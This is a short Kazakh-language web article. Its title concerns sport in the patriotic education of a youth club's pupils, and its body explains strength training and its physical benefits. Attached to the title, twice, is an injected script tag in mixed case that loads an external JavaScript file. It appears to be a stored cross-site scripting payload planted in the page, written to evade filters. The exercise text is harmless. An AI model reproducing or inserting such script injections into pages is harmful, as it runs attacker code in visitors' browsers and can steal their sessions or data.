"БҮРКІТ" КЛУБЫНЫҢ "ЖАС САРБАЗ" ТӘРБИЕЛЕНУШІЛЕРІН ПАТРИОТТЫҚ ТӘРБИЕЛЕУДЕГІ ДЕНЕ ШЫНЫҚТЫРУ МЕН СПОРТТЫҢ МАҢЫЗЫ<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Күш жаттығулары: бұл не? Көбінесе күштік немесе анаэробтық, бұлшықет күшін арттыруға бағытталған өз салмағы мен ауырлығы бар жаттығулар деп аталады. Бұл ретте энергияны тұтыну анаэробтық жолмен – бұлшықет гликогенінің есебінен, оттегінің қатысуынсыз жүреді. Тұрақты күштік жаттығулар бұлшықет талшықтарының өлшемі мен күшін арттырады. Олар сондай-ақ сіңірлерді, байламдарды және сүйектерді нығайтады. Бұл өзгерістердің барлығы сіздің физикалық жағдайыңызға, сыртқы көрінісіне және метаболизміне оң әсер етеді, сонымен қатар буындар мен бұлшықет аурулары қаупін азайтады.